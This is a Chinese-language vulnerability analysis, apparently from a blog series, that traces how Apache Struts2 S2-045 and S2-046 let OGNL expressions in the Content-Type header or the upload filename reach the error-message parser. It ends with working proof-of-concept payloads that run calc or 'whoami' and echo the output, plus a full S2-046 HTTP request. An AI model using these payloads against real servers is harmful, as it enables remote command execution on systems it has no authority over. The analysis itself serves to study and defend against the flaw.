S2-045、S2-046
前言
S2-045依然是一个Ognl表达式注入导致的RCE漏洞,且漏洞很严重。另外,还是建议读者阅读本篇文章前先看下系列文章的第一篇。
正文
依然是第一篇文章中讲过,StrutsPrepareFilter的doFilter方法中,在获取action mapper前会对HttpServletRequest做一次封装。
跟进该方法内:
可以看到在wrapRequest方法根据请求中的Content-Type的不同有两种封装方式,当Content-Type头信息中包含有“multipart/form-data”字符串时将使用MultiPartRequestWrapper进行封装,跟进:
这里最好还是debug一下进去,以免分析错了
curl http://localhost:8088 -H "Content-Type: multipart/form-data" (使用curl构造请求头方便一点)
可以看到此时实际上调用的是JakartaMultiPartRequest,parse() ,跟进:
processUpload()方法故名思意,应该是处理文件上传的(Content-Type: multipart/form-data 本身就意味着请求是个上传请求),如果上传操作中程序报错,会被101行出的Exception 捕获到了
这里有个大坑,大家看到上面图片中的101行中e的值了没?报错信息里压根就没有字符串是我们之前输入的,是一段固定的字符串,无语(为了文章的连续性,我将这个放在最后面讲。)。
关键函数出来了,就是buildErrorMessage,跟进去:
调用了LocalizedTextUtil.findText(),继续跟进:
findText方法很长,关键在于第325行处调用了getDefaultMessage方法
跟进该方法
第399行处调用了TextParseUtil.translateVariables()对报错信息message进行了ognl表达式解析,这个方法我们之前分析过,就是对${}或%{}中的字符串解析,这次就不跟进了。
现在再回头看看,怎样让报错信息中带有我们的输入信息呢?之前我们说了是执行processUpload(request, saveDir);时报错了,我们跟进该方法内看看:
执行parseRequest()时报的错。(什么?我是怎么知道是这个方法报的错,debug发现的)跟进这个方法:
看了没,contentType不能以multipart开头才会将它加入到报错信息中,否则将报其他的错误。
最后给出poc吧(windows下弹框poc):
Content-Type:
%{#type='multipart/form-data',#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd='calc',#cmds={'cmd.exe','/c',#cmd},#p=new
java.lang.ProcessBuilder(#cmds),#process=#p.start()}
兼容版有回显poc:
Content-Type:
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
S2-046
S2-046和S2-045的爆发点是一样的,只是输入点有些不同,利用方式上不一样。满足以下条件时:
Content-Type 中包含multipart/form-data
Content-Disposition中filename包含OGNL语句
文件大小大于2G(默认情况下),通过设置Content-Length就可以了;或者filename中有空字节\x00
给出别人的poc
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition:
form-data; name="upload";
filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
参考文章
https://www.oschina.net/news/83099/struts2--remote-code-execution-vulnerability
https://cwiki.apache.org/confluence/display/WW/S2-045
https://cwiki.apache.org/confluence/display/WW/S2-046
https://www.jianshu.com/p/344f5091499d
S2-045、S2-046的更多相关文章
- 电源相关知识—S0、S1(POS)、S2、S3(STR)、 S4、S5、睡眠、休眠、待机
转 http://blog.sina.com.cn/s/blog_52f28dde0100l3ci.html APM https://en.wikipedia.org/wiki/Advanced_Po ...
- 045、安装Docker Machine (2019-03-08 周五)
参考https://www.cnblogs.com/CloudMan6/p/7223599.html 前面我们的实验中只有一个docker host ,所有的容器都是运行在这一个host上的.但在 ...
- 045、Java中使用if语句进行判断
01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...
- Java数据结构和算法(六)——前缀、中缀、后缀表达式
前面我们介绍了三种数据结构,第一种数组主要用作数据存储,但是后面的两种栈和队列我们说主要作为程序功能实现的辅助工具,其中在介绍栈时我们知道栈可以用来做单词逆序,匹配关键字符等等,那它还有别的什么功能吗 ...
- Java数据结构和算法(六):前缀、中缀、后缀表达式
前面我们介绍了三种数据结构,第一种数组主要用作数据存储,但是后面的两种栈和队列我们说主要作为程序功能实现的辅助工具,其中在介绍栈时我们知道栈可以用来做单词逆序,匹配关键字符等等,那它还有别的什么功能吗 ...
- C语言--关键字 typedef
一.typedef 1.基本使用 1> typedef 在基本数据类型中的使用 typedef int MyInt; // 相当于给 int 起了一个别名 typedef MyInt MyInt ...
- CCIE路由实验(8) -- QoS
1.查看端口缺省的队列机制2.配置CB-WFQ3.配置CB-LLQ4.配置CB-Shapping在以太接口下5.配置CB-Shapping在FR接口下6.配置帧中继流量整形FRTS7.配置CB-Pol ...
- Pyhton编程(四)之基本数据类型-字符串详解
一:字符串是什么? 字符串是Python最常用的一种数据类型,虽然看似简单,但能够以不同的方式来使用它们. 字符串就是一系列的字符,在Python中,用引号括起来的都是字符串,其中的引号可以是单引号, ...
- 一个对象toString()方法如果没有被重写,那么默认调用它的父类Object的toString()方法,而Object的toString()方法是打印该对象的hashCode,一般hashCode就是此对象的内存地址
昨天因为要从JFrame控件获取密码,注意到一个问题,那就是用toString方法得到的不一定是你想要的,如下: jPasswordField是JFrame中的密码输入框,如果用下面的方法是得不到密码 ...
- 数据结构---Java---String
1.概述 1.1 源码(JDK1.8) public final class String implements java.io.Serializable, Comparable<String& ...
随机推荐
- linux服务器下安装phpstudy 如何命令行进入mysql
配置了phpstudy 可是进不去mysql 老是报-bash: mysqld: command not found 解决方法:在linux环境下运行:ln -s /phpstudy/mysql/bi ...
- 阶段5 3.微服务项目【学成在线】_day16 Spring Security Oauth2_07-SpringSecurityOauth2研究-Oauth2授权码模式-资源服务授权测试
下面要完成 5.6两个步骤 3.3.4 资源服务授权 3.3.4.1 资源服务授权流程 资源服务拥有要访问的受保护资源,客户端携带令牌访问资源服务,如果令牌合法则可成功访问资源服务中的资 源,如下图 ...
- Harbor 1.8.0 仓库的安装和使用
安装的先决条件 硬件环境 1.CPU 至少2G,最好4G 2.内存 至少4G,最好8G 3.磁盘 至少40G,最好160G 软件环境 1.docker版本 17.03.0-ce ...
- 我的iOS动画01
1.嵌套使用,先变大再消失 [UIView animateWithDuration:1.25 aniamtions:^{ CGAffineTransform newTRansform = CGAffi ...
- 细说SQL Server中的加密
简介 加密是指通过使用密钥或密码对数据进行模糊处理的过程.在SQL Server中,加密并不能替代其他的安全设置,比如防止未被授权的人访问数据库或是数据库实例所在的Windows系统,甚至是数据库所在 ...
- Docker 容器的资源限制 cgroup(九)
目录 一.cgroup简介 二.CPU资源配额控制 1.CPU份额控制 2.CPU周期控制 3.CPU core控制 4.CPU配额控制参数的混合使用 二.对内存的限额 三.对 Block IO 的限 ...
- angular入门 - 环境安装及项目创建
1.安装node.js 下载,安装,在终端测试安装是否成功:node -v(查看nodejs版本) npm -v(查看npm版本) 下载地址:https://nodejs.org/en/downloa ...
- 最新 海看java校招面经 (含整理过的面试题大全)
从6月到10月,经过4个月努力和坚持,自己有幸拿到了网易雷火.京东.去哪儿.海看等10家互联网公司的校招Offer,因为某些自身原因最终选择了海看.6.7月主要是做系统复习.项目复盘.LeetCode ...
- jquery实现微博输入和发布
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" ...
- MySQL(二) decimal数据默认处理
create table decimal_test(id int auto_increment PRIMARY key,score decimal(5,2) -- 取值范围是 -999.99 到 99 ...